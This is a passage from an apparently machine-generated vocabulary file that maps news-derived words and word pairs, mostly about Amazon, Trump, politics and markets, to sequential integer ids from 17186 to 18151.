17186,\n  \"collapsed president\": 17187,\n  \"parties gee\": 17188,\n  \"personal wealth\": 17189,\n  \"trapped inside\": 17190,\n  \"usps woes\": 17191,\n  \"book publication\": 17192,\n  \"linnaeus\": 17193,\n  \"measure related\": 17194,\n  \"tennessee uk\": 17195,\n  \"democratic case\": 17196,\n  \"rich person\": 17197,\n  \"identifying potential\": 17198,\n  \"financial report\": 17199,\n  \"deal reuters\": 17200,\n  \"mexicans mccain\": 17201,\n  \"don refer\": 17202,\n  \"enraged trump\": 17203,\n  \"peterbakernyt jobs\": 17204,\n  \"structure survival\": 17205,\n  \"chrissy\": 17206,\n  \"feat remains\": 17207,\n  \"fated financial\": 17208,\n  \"substantially weightier\": 17209,\n  \"illiteracy\": 17210,\n  \"save borrow\": 17211,\n  \"praise senator\": 17212,\n  \"warns coalition\": 17213,\n  \"reportedly exchanged\": 17214,\n  \"working mothers\": 17215,\n  \"shrewd\": 17216,\n  \"national hockey\": 17217,\n  \"peddle fake\": 17218,\n  \"listing tweeting\": 17219,\n  \"bby ross\": 17220,\n  \"president sees\": 17221,\n  \"liz peek\": 17222,\n  \"breaking holiday\": 17223,\n  \"bovada lv\": 17224,\n  \"act fcpa\": 17225,\n  \"press read\": 17226,\n  \"growing increasingly\": 17227,\n  \"thought leaving\": 17228,\n  \"revenue fred\": 17229,\n  \"unauthorized reselling\": 17230,\n  \"noredirect\": 17231,\n  \"jerry george\": 17232,\n  \"nooyi brewer\": 17233,\n  \"dot covering\": 17234,\n  \"madame tussauds\": 17235,\n  \"remarkably easy\": 17236,\n  \"doknow\": 17237,\n  \"technological strategies\": 17238,\n  \"corporate shareholders\": 17239,\n  \"requires fundamental\": 17240,\n  \"perturb corporations\": 17241,\n  \"wetherby\": 17242,\n  \"request explaining\": 17243,\n  \"new questions\": 17244,\n  \"zurawik daniel\": 17245,\n  \"component walmart\": 17246,\n  \"deduction god\": 17247,\n  \"ravenswood woodside\": 17248,\n  \"astronomical\": 17249,\n  \"italy news\": 17250,\n  \"risky gambit\": 17251,\n  \"bezos sought\": 17252,\n  \"ongoing political\": 17253,\n  \"software steve\": 17254,\n  \"sank nasdaq\": 17255,\n  \"cnbc eamon\": 17256,\n  \"euphoria\": 17257,\n  \"help agents\": 17258,\n  \"bouquets\": 17259,\n  \"bezos holdings\": 17260,\n  \"a4ee v1\": 17261,\n  \"obscenely\": 17262,\n  \"cepr\": 17263,\n  \"effect drove\": 17264,\n  \"gastropub\": 17265,\n  \"kraft\": 17266,\n  \"restructuring\": 17267,\n  \"scale campaign\": 17268,\n  \"cited survey\": 17269,\n  \"estimates thank\": 17270,\n  \"bubble burst\": 17271,\n  \"ripert\": 17272,\n  \"intrigued\": 17273,\n  \"great stride\": 17274,\n  \"launched day\": 17275,\n  \"teeth\": 17276,\n  \"student government\": 17277,\n  \"beast say\": 17278,\n  \"big drugs\": 17279,\n  \"whisked sanchez\": 17280,\n  \"gush\": 17281,\n  \"entirely opposite\": 17282,\n  \"safety amazon\": 17283,\n  \"delong dreambox\": 17284,\n  \"adam parkhomenko\": 17285,\n  \"economics guru\": 17286,\n  \"ydanis\": 17287,\n  \"conduct regional\": 17288,\n  \"exquisitely\": 17289,\n  \"trump properties\": 17290,\n  \"swamp buster\": 17291,\n  \"market hold\": 17292,\n  \"annual amazon\": 17293,\n  \"shares slid\": 17294,\n  \"dept cronyism\": 17295,\n  \"phrase\": 17296,\n  \"hq2 coverage\": 17297,\n  \"hiring numbers\": 17298,\n  \"lawmakers trump\": 17299,\n  \"reports hours\": 17300,\n  \"photo kathy\": 17301,\n  \"tampering page\": 17302,\n  \"experienced firsthand\": 17303,\n  \"subsidies economic\": 17304,\n  \"amazons website\": 17305,\n  \"tariffs going\": 17306,\n  \"snl guest\": 17307,\n  \"punting\": 17308,\n  \"effectively pay\": 17309,\n  \"respected amazon\": 17310,\n  \"held outside\": 17311,\n  \"economy today\": 17312,\n  \"abramowitz continued\": 17313,\n  \"waldman director\": 17314,\n  \"maga items\": 17315,\n  \"52sdfytq8n\": 17316,\n  \"run articles\": 17317,\n  \"share based\": 17318,\n  \"climate consensus\": 17319,\n  \"limiting trump\": 17320,\n  \"charitable initiative\": 17321,\n  \"stahl changing\": 17322,\n  \"schwab pomerantz\": 17323,\n  \"philip curve\": 17324,\n  \"europebriefing nytimes\": 17325,\n  \"outer boroughs\": 17326,\n  \"david miller\": 17327,\n  \"annual budget\": 17328,\n  \"virginia continuing\": 17329,\n  \"reelected munster\": 17330,\n  \"state warriors\": 17331,\n  \"trump notorious\": 17332,\n  \"live action\": 17333,\n  \"forward paid\": 17334,\n  \"2017 request\": 17335,\n  \"2018 telling\": 17336,\n  \"rejoined amazon\": 17337,\n  \"news amazon\": 17338,\n  \"credits\": 17339,\n  \"girl simply\": 17340,\n  \"surging 2018\": 17341,\n  \"shaker\": 17342,\n  \"ros\": 17343,\n  \"tech bros\": 17344,\n  \"make sweeping\": 17345,\n  \"urging changes\": 17346,\n  \"disney watch\": 17347,\n  \"h8 d1duukadczlbnn\": 17348,\n  \"accountable given\": 17349,\n  \"say investors\": 17350,\n  \"filming movies\": 17351,\n  \"magazine particularly\": 17352,\n  \"difference\": 17353,\n  \"ooo jobs\": 17354,\n  \"player getinstance\": 17355,\n  \"amazon attention\": 17356,\n  \"big time\": 17357,\n  \"eddie lambert\": 17358,\n  \"sensitive negotiations\": 17359,\n  \"usd\": 17360,\n  \"romantic relationship\": 17361,\n  \"biology professor\": 17362,\n  \"ridiculous block\": 17363,\n  \"century marked\": 17364,\n  \"higher read\": 17365,\n  \"appletv q2\": 17366,\n  \"dastin\": 17367,\n  \"starr witnesses\": 17368,\n  \"filtered\": 17369,\n  \"recognition abilities\": 17370,\n  \"western pennsylvania\": 17371,\n  \"capitalist greed\": 17372,\n  \"heiresses\": 17373,\n  \"build compatible\": 17374,\n  \"woodward credibility\": 17375,\n  \"trump message\": 17376,\n  \"bloomin brands\": 17377,\n  \"gaap adjusted\": 17378,\n  \"espouse mainstream\": 17379,\n  \"key amazon\": 17380,\n  \"posted online\": 17381,\n  \"sexy\": 17382,\n  \"collateralized subprime\": 17383,\n  \"breakup trump\": 17384,\n  \"requires global\": 17385,\n  \"listed native\": 17386,\n  \"imminent death\": 17387,\n  \"empowers ice\": 17388,\n  \"1200et\": 17389,\n  \"object a4ee\": 17390,\n  \"tour available\": 17391,\n  \"computing firm\": 17392,\n  \"excess\": 17393,\n  \"india oppo\": 17394,\n  \"regressive\": 17395,\n  \"total digital\": 17396,\n  \"allowing governments\": 17397,\n  \"day showing\": 17398,\n  \"new actuarial\": 17399,\n  \"largest personal\": 17400,\n  \"gabriella\": 17401,\n  \"australia announced\": 17402,\n  \"major businesses\": 17403,\n  \"2014 reuters\": 17404,\n  \"regarding wages\": 17405,\n  \"annual average\": 17406,\n  \"fortune increased\": 17407,\n  \"millennial esports\": 17408,\n  \"maelstrom\": 17409,\n  \"separating alexandria\": 17410,\n  \"york deal\": 17411,\n  \"board pscnb\": 17412,\n  \"provoking constitutional\": 17413,\n  \"corp north\": 17414,\n  \"years amid\": 17415,\n  \"children played\": 17416,\n  \"industries shaking\": 17417,\n  \"informative\": 17418,\n  \"independent organization\": 17419,\n  \"overvoting\": 17420,\n  \"hand wasn\": 17421,\n  \"best run\": 17422,\n  \"deposed\": 17423,\n  \"man arrested\": 17424,\n  \"mcbride\": 17425,\n  \"photographed\": 17426,\n  \"gilead\": 17427,\n  \"rooftops\": 17428,\n  \"adopt major\": 17429,\n  \"events including\": 17430,\n  \"governor scott\": 17431,\n  \"email possible\": 17432,\n  \"stock awards\": 17433,\n  \"ordering processes\": 17434,\n  \"medical information\": 17435,\n  \"fiery kavanaugh\": 17436,\n  \"100 bn\": 17437,\n  \"dimondstein\": 17438,\n  \"limited bank\": 17439,\n  \"remnick new\": 17440,\n  \"microbial heavy\": 17441,\n  \"stop whining\": 17442,\n  \"noir city\": 17443,\n  \"hacked sign\": 17444,\n  \"target boosted\": 17445,\n  \"wife divorced\": 17446,\n  \"shock people\": 17447,\n  \"health foundation\": 17448,\n  \"support recent\": 17449,\n  \"reese witherspoon\": 17450,\n  \"smart slate\": 17451,\n  \"letter sound\": 17452,\n  \"administration quest\": 17453,\n  \"jack morse\": 17454,\n  \"852 billion\": 17455,\n  \"printing presses\": 17456,\n  \"wilson argues\": 17457,\n  \"merchants account\": 17458,\n  \"bezos succession\": 17459,\n  \"trump flood\": 17460,\n  \"cubes\": 17461,\n  \"fortune amazon\": 17462,\n  \"breaks major\": 17463,\n  \"paycheck flock\": 17464,\n  \"finale\": 17465,\n  \"lingering questions\": 17466,\n  \"playerinstance\": 17467,\n  \"remain\": 17468,\n  \"actually cost\": 17469,\n  \"principle\": 17470,\n  \"somber image\": 17471,\n  \"termed amazon\": 17472,\n  \"funds opened\": 17473,\n  \"fatal crashes\": 17474,\n  \"doomed lion\": 17475,\n  \"adopt socialism\": 17476,\n  \"rapidly grown\": 17477,\n  \"amazon instructed\": 17478,\n  \"spies appear\": 17479,\n  \"meeting saw\": 17480,\n  \"complex facebook\": 17481,\n  \"sen jack\": 17482,\n  \"meraki\": 17483,\n  \"amazon followed\": 17484,\n  \"president elect\": 17485,\n  \"grass roots\": 17486,\n  \"amazon claim\": 17487,\n  \"zig saw\": 17488,\n  \"lender\": 17489,\n  \"debut novel\": 17490,\n  \"gentrifying queens\": 17491,\n  \"initiates coverage\": 17492,\n  \"thebradblog community\": 17493,\n  \"alex ross\": 17494,\n  \"getshowinfo var\": 17495,\n  \"currently managed\": 17496,\n  \"alexa garmin\": 17497,\n  \"sourcefilene\": 17498,\n  \"previously wendell\": 17499,\n  \"budget film\": 17500,\n  \"enquirer howard\": 17501,\n  \"gradual\": 17502,\n  \"2015 clinton\": 17503,\n  \"results travelers\": 17504,\n  \"force marines\": 17505,\n  \"ohio rely\": 17506,\n  \"yorkers timeout\": 17507,\n  \"trump nearly\": 17508,\n  \"alerting people\": 17509,\n  \"redundancy\": 17510,\n  \"1024w sizes\": 17511,\n  \"php ziploc\": 17512,\n  \"rosa heads\": 17513,\n  \"pain felt\": 17514,\n  \"new operations\": 17515,\n  \"physical locations\": 17516,\n  \"rate peter\": 17517,\n  \"contractual business\": 17518,\n  \"amazon likes\": 17519,\n  \"accept\": 17520,\n  \"stocks deepens\": 17521,\n  \"reporter christal\": 17522,\n  \"signoff think\": 17523,\n  \"queens city\": 17524,\n  \"accordingly\": 17525,\n  \"owner travelhost\": 17526,\n  \"apple tax\": 17527,\n  \"irreparably damage\": 17528,\n  \"deckers earnings\": 17529,\n  \"intelligence opens\": 17530,\n  \"award isn\": 17531,\n  \"registry ability\": 17532,\n  \"county great\": 17533,\n  \"self evident\": 17534,\n  \"director orson\": 17535,\n  \"known recent\": 17536,\n  \"similarly commerce\": 17537,\n  \"worth criticizing\": 17538,\n  \"pa associated\": 17539,\n  \"rob sanders\": 17540,\n  \"alphabet donating\": 17541,\n  \"attractive option\": 17542,\n  \"1117161568\": 17543,\n  \"bidders getting\": 17544,\n  \"rocco mazza\": 17545,\n  \"jbg smith\": 17546,\n  \"regional chain\": 17547,\n  \"primarychannelarray null\": 17548,\n  \"ac cnn\": 17549,\n  \"antitrust official\": 17550,\n  \"matters blocking\": 17551,\n  \"hugging congress\": 17552,\n  \"metapack metapack\": 17553,\n  \"controversial feud\": 17554,\n  \"phoenix banner\": 17555,\n  \"regulatory disruption\": 17556,\n  \"increase manufacturing\": 17557,\n  \"college drop\": 17558,\n  \"encouraging amazon\": 17559,\n  \"central account\": 17560,\n  \"firm nielsen\": 17561,\n  \"cor\": 17562,\n  \"studio album\": 17563,\n  \"sends trump\": 17564,\n  \"soho amazon\": 17565,\n  \"helping constituents\": 17566,\n  \"free distribution\": 17567,\n  \"aggressive promotional\": 17568,\n  \"life harder\": 17569,\n  \"gordon chief\": 17570,\n  \"h0\": 17571,\n  \"poppy looking\": 17572,\n  \"including small\": 17573,\n  \"lehrer\": 17574,\n  \"antitrust attacks\": 17575,\n  \"crisis emerged\": 17576,\n  \"economy based\": 17577,\n  \"fewer international\": 17578,\n  \"spending brian\": 17579,\n  \"reporter magazine\": 17580,\n  \"acclaimed newspaper\": 17581,\n  \"gordon haskett\": 17582,\n  \"iran alliance\": 17583,\n  \"senior military\": 17584,\n  \"highlights difference\": 17585,\n  \"google ad\": 17586,\n  \"bad things\": 17587,\n  \"outperformance analyst\": 17588,\n  \"building arenas\": 17589,\n  \"publication history\": 17590,\n  \"senate seat\": 17591,\n  \"stratford festival\": 17592,\n  \"winter editor\": 17593,\n  \"criticism directly\": 17594,\n  \"sending packages\": 17595,\n  \"called major\": 17596,\n  \"disrespectful\": 17597,\n  \"digressive\": 17598,\n  \"tests dropping\": 17599,\n  \"real impact\": 17600,\n  \"important factors\": 17601,\n  \"fellow hoosiers\": 17602,\n  \"assume relative\": 17603,\n  \"agreeable\": 17604,\n  \"oversight committee\": 17605,\n  \"secure border\": 17606,\n  \"documentar\": 17607,\n  \"fans appreciate\": 17608,\n  \"jeffersongraham read\": 17609,\n  \"tonight raised\": 17610,\n  \"productive look\": 17611,\n  \"publicized gathering\": 17612,\n  \"173218731 img_gettyflag\": 17613,\n  \"great tool\": 17614,\n  \"clearly negative\": 17615,\n  \"hemker\": 17616,\n  \"recently suggested\": 17617,\n  \"post breaks\": 17618,\n  \"respected journalist\": 17619,\n  \"actually look\": 17620,\n  \"defined\": 17621,\n  \"hopeful new\": 17622,\n  \"morris endeavor\": 17623,\n  \"rtx\": 17624,\n  \"data permitting\": 17625,\n  \"helal\": 17626,\n  \"shop compaq\": 17627,\n  \"crystals\": 17628,\n  \"main target\": 17629,\n  \"time thanks\": 17630,\n  \"sun pacific\": 17631,\n  \"just saying\": 17632,\n  \"amazon forever\": 17633,\n  \"amzn syna\": 17634,\n  \"shoddy\": 17635,\n  \"vortex smothering\": 17636,\n  \"people betty\": 17637,\n  \"remains committed\": 17638,\n  \"amazon\\u00e2 opportunity\": 17639,\n  \"postal analysts\": 17640,\n  \"rey\": 17641,\n  \"damaging story\": 17642,\n  \"retail chain\": 17643,\n  \"think word\": 17644,\n  \"severe cuts\": 17645,\n  \"construction building\": 17646,\n  \"coast time\": 17647,\n  \"executive\": 17648,\n  \"say read\": 17649,\n  \"business just\": 17650,\n  \"told easley\": 17651,\n  \"satellite imagery\": 17652,\n  \"peek right\": 17653,\n  \"phrase russian\": 17654,\n  \"mideast tension\": 17655,\n  \"policy president\": 17656,\n  \"taylor muckerman\": 17657,\n  \"1998 details\": 17658,\n  \"bernardo da\": 17659,\n  \"democrat meeks\": 17660,\n  \"product delivery\": 17661,\n  \"search pf_rd_r\": 17662,\n  \"duston williams\": 17663,\n  \"escalating china\": 17664,\n  \"tenuous metoo\": 17665,\n  \"news service\": 17666,\n  \"n924661 megyn\": 17667,\n  \"message twitter\": 17668,\n  \"prompted evacuation\": 17669,\n  \"spookier series\": 17670,\n  \"buzzfeed cia\": 17671,\n  \"bewildered\": 17672,\n  \"italy deputy\": 17673,\n  \"warewashing\": 17674,\n  \"force appeared\": 17675,\n  \"opinion writer\": 17676,\n  \"does lots\": 17677,\n  \"sanders war\": 17678,\n  \"press event\": 17679,\n  \"different kind\": 17680,\n  \"wrenching\": 17681,\n  \"companies read\": 17682,\n  \"talks hq\": 17683,\n  \"jewell\": 17684,\n  \"american jobs\": 17685,\n  \"market averages\": 17686,\n  \"taub\": 17687,\n  \"mere threat\": 17688,\n  \"big acquisition\": 17689,\n  \"123\": 17690,\n  \"beautiful people\": 17691,\n  \"colocation provider\": 17692,\n  \"food large\": 17693,\n  \"recent startup\": 17694,\n  \"span multiple\": 17695,\n  \"paid commissions\": 17696,\n  \"marriage picture\": 17697,\n  \"region according\": 17698,\n  \"mueller read\": 17699,\n  \"time caregiver\": 17700,\n  \"leader jeff\": 17701,\n  \"yeah considering\": 17702,\n  \"administration specifically\": 17703,\n  \"world stock\": 17704,\n  \"flubbed words\": 17705,\n  \"a4ee l0\": 17706,\n  \"current value\": 17707,\n  \"growth estimates\": 17708,\n  \"cara\": 17709,\n  \"reported 129\": 17710,\n  \"sen orrin\": 17711,\n  \"spiked\": 17712,\n  \"people carrying\": 17713,\n  \"brothers need\": 17714,\n  \"male workforce\": 17715,\n  \"tweet trans\": 17716,\n  \"conduct investigations\": 17717,\n  \"allow drivers\": 17718,\n  \"count ge\": 17719,\n  \"estate cnn\": 17720,\n  \"bipartisan pressure\": 17721,\n  \"super villain\": 17722,\n  \"nationalists\": 17723,\n  \"denuclearlized korean\": 17724,\n  \"year starts\": 17725,\n  \"drinks new\": 17726,\n  \"minister pedro\": 17727,\n  \"necessarily represent\": 17728,\n  \"host andrew\": 17729,\n  \"political spokesman\": 17730,\n  \"sat\": 17731,\n  \"sweden wanted\": 17732,\n  \"fundamentalist buffett\": 17733,\n  \"cardsectionname business\": 17734,\n  \"tic tac\": 17735,\n  \"crooked cop\": 17736,\n  \"team sucks\": 17737,\n  \"victoria guida\": 17738,\n  \"right glad\": 17739,\n  \"jobs donny\": 17740,\n  \"great wall\": 17741,\n  \"email exchanges\": 17742,\n  \"trouble maintaining\": 17743,\n  \"complex relationship\": 17744,\n  \"post described\": 17745,\n  \"othertop\": 17746,\n  \"criminal acts\": 17747,\n  \"downtown far\": 17748,\n  \"substantial debt\": 17749,\n  \"programmers\": 17750,\n  \"avoiding various\": 17751,\n  \"larry\": 17752,\n  \"clearly incredibly\": 17753,\n  \"western half\": 17754,\n  \"bailey transatlantic\": 17755,\n  \"provide new\": 17756,\n  \"trust laws\": 17757,\n  \"list article\": 17758,\n  \"took leap\": 17759,\n  \"overtime regardless\": 17760,\n  \"sen ro\": 17761,\n  \"sues immigration\": 17762,\n  \"function updateshowinfo\": 17763,\n  \"gordon papes\": 17764,\n  \"talent lessons\": 17765,\n  \"oil industry\": 17766,\n  \"billion started\": 17767,\n  \"economic itep\": 17768,\n  \"kathy\": 17769,\n  \"vanden heuvel\": 17770,\n  \"jesse\": 17771,\n  \"negotiate contracts\": 17772,\n  \"publication published\": 17773,\n  \"ai guru\": 17774,\n  \"workshare discounts\": 17775,\n  \"giant corporation\": 17776,\n  \"hoarci\": 17777,\n  \"billion alphastreet\": 17778,\n  \"aging population\": 17779,\n  \"unbeatable\": 17780,\n  \"second timers\": 17781,\n  \"trump deficit\": 17782,\n  \"wage legislation\": 17783,\n  \"rookie jann\": 17784,\n  \"homebuilding rose\": 17785,\n  \"seemingly insatiable\": 17786,\n  \"sales practices\": 17787,\n  \"kilometres away\": 17788,\n  \"nutting 415\": 17789,\n  \"454 5547\": 17790,\n  \"jordan attorney\": 17791,\n  \"times howell\": 17792,\n  \"dias\": 17793,\n  \"suddenly changed\": 17794,\n  \"weekend long\": 17795,\n  \"earnings credit\": 17796,\n  \"property primarily\": 17797,\n  \"japan trade\": 17798,\n  \"centers new\": 17799,\n  \"cutting costs\": 17800,\n  \"campaign cc\": 17801,\n  \"fittingly\": 17802,\n  \"repackaging existing\": 17803,\n  \"best memoir\": 17804,\n  \"does jeff\": 17805,\n  \"condo penthouse\": 17806,\n  \"millionaire ben\": 17807,\n  \"foraging\": 17808,\n  \"keynes warehouse\": 17809,\n  \"investigator says\": 17810,\n  \"maio says\": 17811,\n  \"putting capital\": 17812,\n  \"leavy\": 17813,\n  \"officer sheryl\": 17814,\n  \"pricing strategies\": 17815,\n  \"criticism years\": 17816,\n  \"amazon 178\": 17817,\n  \"ndrew_lawrence\": 17818,\n  \"lot murkier\": 17819,\n  \"wbes\": 17820,\n  \"policy stance\": 17821,\n  \"1133 billion\": 17822,\n  \"laurie\": 17823,\n  \"sent young\": 17824,\n  \"dollars going\": 17825,\n  \"exit correction\": 17826,\n  \"impeachment apparel\": 17827,\n  \"metoo\": 17828,\n  \"z0 fa\": 17829,\n  \"weekend deliveries\": 17830,\n  \"subsidising\": 17831,\n  \"boy missing\": 17832,\n  \"say additionally\": 17833,\n  \"mystery authors\": 17834,\n  \"source shutterstock\": 17835,\n  \"gay vice\": 17836,\n  \"ecommerce giant\": 17837,\n  \"1380 rumor\": 17838,\n  \"prerogative\": 17839,\n  \"millions worldwide\": 17840,\n  \"magary\": 17841,\n  \"sanders responded\": 17842,\n  \"discuss range\": 17843,\n  \"articles claiming\": 17844,\n  \"items outside\": 17845,\n  \"data control\": 17846,\n  \"later ms\": 17847,\n  \"named sally\": 17848,\n  \"program rodriguez\": 17849,\n  \"inauguration day\": 17850,\n  \"acre area\": 17851,\n  \"opinions won\": 17852,\n  \"growth followed\": 17853,\n  \"cancelkavanugh pic\": 17854,\n  \"early phases\": 17855,\n  \"cost 000\": 17856,\n  \"really intimidating\": 17857,\n  \"representatives threatening\": 17858,\n  \"senate dem\": 17859,\n  \"powerful exculpatory\": 17860,\n  \"saudis pirated\": 17861,\n  \"company donated\": 17862,\n  \"width 1600\": 17863,\n  \"class packages\": 17864,\n  \"kamhi successfully\": 17865,\n  \"dre johnson\": 17866,\n  \"identical firm\": 17867,\n  \"government scrutiny\": 17868,\n  \"states debt\": 17869,\n  \"bezos lover\": 17870,\n  \"scathing criticism\": 17871,\n  \"slippers\": 17872,\n  \"dollar asked\": 17873,\n  \"killing comparison\": 17874,\n  \"welcoming\": 17875,\n  \"affair unless\": 17876,\n  \"attracted foreign\": 17877,\n  \"mistress despite\": 17878,\n  \"times twitter\": 17879,\n  \"macbook\": 17880,\n  \"created instant\": 17881,\n  \"information phone\": 17882,\n  \"garden ocasio\": 17883,\n  \"jacob marley\": 17884,\n  \"amazon abandons\": 17885,\n  \"tamebay asked\": 17886,\n  \"randall quarles\": 17887,\n  \"news sign\": 17888,\n  \"food writer\": 17889,\n  \"mueller special\": 17890,\n  \"saudi government\": 17891,\n  \"midtown\": 17892,\n  \"deepak sent\": 17893,\n  \"planned amazon\": 17894,\n  \"expecting huge\": 17895,\n  \"supporting friends\": 17896,\n  \"lannisters\": 17897,\n  \"mail purportedly\": 17898,\n  \"coverage eric\": 17899,\n  \"conditions youtube\": 17900,\n  \"autism spectrum\": 17901,\n  \"mod mktw\": 17902,\n  \"prevent various\": 17903,\n  \"inexorable\": 17904,\n  \"indexes fell\": 17905,\n  \"innovation climbing\": 17906,\n  \"pillpack specializes\": 17907,\n  \"security secretary\": 17908,\n  \"consideration moser\": 17909,\n  \"heavy neighborhoods\": 17910,\n  \"devastating secrets\": 17911,\n  \"hate speech\": 17912,\n  \"personal note\": 17913,\n  \"cornaga ave\": 17914,\n  \"a4ee b1\": 17915,\n  \"wicket\": 17916,\n  \"funding throws\": 17917,\n  \"endorsed series\": 17918,\n  \"landmark decision\": 17919,\n  \"yitzhak\": 17920,\n  \"deliveries despite\": 17921,\n  \"hop music\": 17922,\n  \"chelsea\": 17923,\n  \"safety accessibility\": 17924,\n  \"2018 love\": 17925,\n  \"farrow claims\": 17926,\n  \"services sorting\": 17927,\n  \"presented trump\": 17928,\n  \"hope yen\": 17929,\n  \"courting governments\": 17930,\n  \"saltsman jamieson\": 17931,\n  \"fortrump news\": 17932,\n  \"aware\": 17933,\n  \"general post\": 17934,\n  \"pretty new\": 17935,\n  \"smallbusiness competitors\": 17936,\n  \"commissioner dale\": 17937,\n  \"pound towels\": 17938,\n  \"inflict pain\": 17939,\n  \"separate segment\": 17940,\n  \"jezebel\": 17941,\n  \"estad\\u0103o\": 17942,\n  \"amzn qtt\": 17943,\n  \"sexual assault\": 17944,\n  \"findings directly\": 17945,\n  \"mirrors americans\": 17946,\n  \"juggernauts\": 17947,\n  \"ap task\": 17948,\n  \"fed\": 17949,\n  \"snowy week\": 17950,\n  \"frea\": 17951,\n  \"children donald\": 17952,\n  \"sherman anti\": 17953,\n  \"talk custody\": 17954,\n  \"taxes hurting\": 17955,\n  \"vacant seats\": 17956,\n  \"restaurant according\": 17957,\n  \"billionto open\": 17958,\n  \"schwartzegger bruce\": 17959,\n  \"answers surface\": 17960,\n  \"anti microbial\": 17961,\n  \"compelled\": 17962,\n  \"amazon origins\": 17963,\n  \"780\": 17964,\n  \"separatists stormed\": 17965,\n  \"intelligence analysts\": 17966,\n  \"products aafa\": 17967,\n  \"wings foreign\": 17968,\n  \"shipments puts\": 17969,\n  \"merchandise store\": 17970,\n  \"cymru\": 17971,\n  \"insight crime\": 17972,\n  \"make amazon\": 17973,\n  \"harvey\": 17974,\n  \"assignment\": 17975,\n  \"steven schooner\": 17976,\n  \"bbc technology\": 17977,\n  \"abe\": 17978,\n  \"message published\": 17979,\n  \"later today\": 17980,\n  \"selfie unless\": 17981,\n  \"offline options\": 17982,\n  \"approaching 900\": 17983,\n  \"legally pass\": 17984,\n  \"ruling requiring\": 17985,\n  \"sears sold\": 17986,\n  \"strongman\": 17987,\n  \"fair features\": 17988,\n  \"special election\": 17989,\n  \"gop locker\": 17990,\n  \"strategy according\": 17991,\n  \"xppb5nihcj\": 17992,\n  \"volume customers\": 17993,\n  \"cargo distribution\": 17994,\n  \"successful interview\": 17995,\n  \"hear firsthand\": 17996,\n  \"abstract ways\": 17997,\n  \"watch read\": 17998,\n  \"routinely slams\": 17999,\n  \"biggest shareholder\": 18000,\n  \"just bundle\": 18001,\n  \"tunnel debacle\": 18002,\n  \"colon\": 18003,\n  \"anti donald\": 18004,\n  \"data usefulness\": 18005,\n  \"benefits major\": 18006,\n  \"owens read\": 18007,\n  \"fighting mad\": 18008,\n  \"expansions\": 18009,\n  \"cash holdings\": 18010,\n  \"conning\": 18011,\n  \"lafayette park\": 18012,\n  \"republican member\": 18013,\n  \"answers jeanine\": 18014,\n  \"provide dreamers\": 18015,\n  \"began tweeting\": 18016,\n  \"siena poll\": 18017,\n  \"infrastructure businesses\": 18018,\n  \"paid customer\": 18019,\n  \"kevin lamarque\": 18020,\n  \"future demise\": 18021,\n  \"wealth drop\": 18022,\n  \"massive campaign\": 18023,\n  \"juggle\": 18024,\n  \"equity titan\": 18025,\n  \"reported stagnating\": 18026,\n  \"revealed new\": 18027,\n  \"packages business\": 18028,\n  \"steven reports\": 18029,\n  \"outlet page\": 18030,\n  \"break sanctions\": 18031,\n  \"experiential pop\": 18032,\n  \"commission italian\": 18033,\n  \"state uses\": 18034,\n  \"important reason\": 18035,\n  \"mccain denounced\": 18036,\n  \"essential items\": 18037,\n  \"220\": 18038,\n  \"direct pressuring\": 18039,\n  \"abortion foes\": 18040,\n  \"2018 items\": 18041,\n  \"organizes people\": 18042,\n  \"buffett doubles\": 18043,\n  \"eric warren\": 18044,\n  \"depicts\": 18045,\n  \"life experiences\": 18046,\n  \"lead fbi\": 18047,\n  \"labs told\": 18048,\n  \"trade memorandum\": 18049,\n  \"bond prices\": 18050,\n  \"annual martin\": 18051,\n  \"amongjustice officials\": 18052,\n  \"team identify\": 18053,\n  \"vital source\": 18054,\n  \"dam broke\": 18055,\n  \"midterm election\": 18056,\n  \"total destruction\": 18057,\n  \"company burgeoning\": 18058,\n  \"strategic direction\": 18059,\n  \"liga\": 18060,\n  \"practices distort\": 18061,\n  \"sectors produce\": 18062,\n  \"everlasting control\": 18063,\n  \"bush rewarded\": 18064,\n  \"trump stumbled\": 18065,\n  \"job king\": 18066,\n  \"crime investigation\": 18067,\n  \"months antitrust\": 18068,\n  \"versace\": 18069,\n  \"650w\": 18070,\n  \"amazon rolled\": 18071,\n  \"amazon announcing\": 18072,\n  \"undergoing treatment\": 18073,\n  \"finally combat\": 18074,\n  \"economies exploiting\": 18075,\n  \"point incoming\": 18076,\n  \"company chose\": 18077,\n  \"alexa really\": 18078,\n  \"man photograph\": 18079,\n  \"classic example\": 18080,\n  \"issue surrounding\": 18081,\n  \"discuss attorney\": 18082,\n  \"postcards trump\": 18083,\n  \"neighborhoods delivering\": 18084,\n  \"protesters offer\": 18085,\n  \"fault mind\": 18086,\n  \"state covert\": 18087,\n  \"country roots\": 18088,\n  \"positives mismatching\": 18089,\n  \"salles defended\": 18090,\n  \"surrounding\": 18091,\n  \"collateralized\": 18092,\n  \"higher pay\": 18093,\n  \"1973\": 18094,\n  \"caravan transgender\": 18095,\n  \"sensitive nerve\": 18096,\n  \"operating vehicles\": 18097,\n  \"nice wired\": 18098,\n  \"amazon cia\": 18099,\n  \"165 billion\": 18100,\n  \"belmont\": 18101,\n  \"effectively subsidizing\": 18102,\n  \"2776086 190306\": 18103,\n  \"vendor listing\": 18104,\n  \"toy retailer\": 18105,\n  \"contains large\": 18106,\n  \"baier tweeted\": 18107,\n  \"issuing monopoly\": 18108,\n  \"yard signs\": 18109,\n  \"center right\": 18110,\n  \"originally promised\": 18111,\n  \"major historic\": 18112,\n  \"just notre\": 18113,\n  \"cluttered workspace\": 18114,\n  \"congresswoman maloney\": 18115,\n  \"onex deal\": 18116,\n  \"iwanowicz responded\": 18117,\n  \"policies woo\": 18118,\n  \"organizations\": 18119,\n  \"company acted\": 18120,\n  \"estimates relies\": 18121,\n  \"make finding\": 18122,\n  \"media institution\": 18123,\n  \"500 results\": 18124,\n  \"longstanding ally\": 18125,\n  \"big story\": 18126,\n  \"press editor\": 18127,\n  \"park comeback\": 18128,\n  \"shall\": 18129,\n  \"var k1a\": 18130,\n  \"volitile\": 18131,\n  \"arrington\": 18132,\n  \"usurp\": 18133,\n  \"supermarket racks\": 18134,\n  \"expensive split\": 18135,\n  \"piece red\": 18136,\n  \"energy powering\": 18137,\n  \"isn fan\": 18138,\n  \"margin pressures\": 18139,\n  \"ip addresses\": 18140,\n  \"assault allegations\": 18141,\n  \"idealogical range\": 18142,\n  \"reliefaccounts\": 18143,\n  \"cia operation\": 18144,\n  \"regulatory policy\": 18145,\n  \"trump matt\": 18146,\n  \"logistics partners\": 18147,\n  \"patent attorney\": 18148,\n  \"wildlife reduced\": 18149,\n  \"commerce remains\": 18150,\n  \"site oddsshark\": 18151,\n  \"margins worst\": 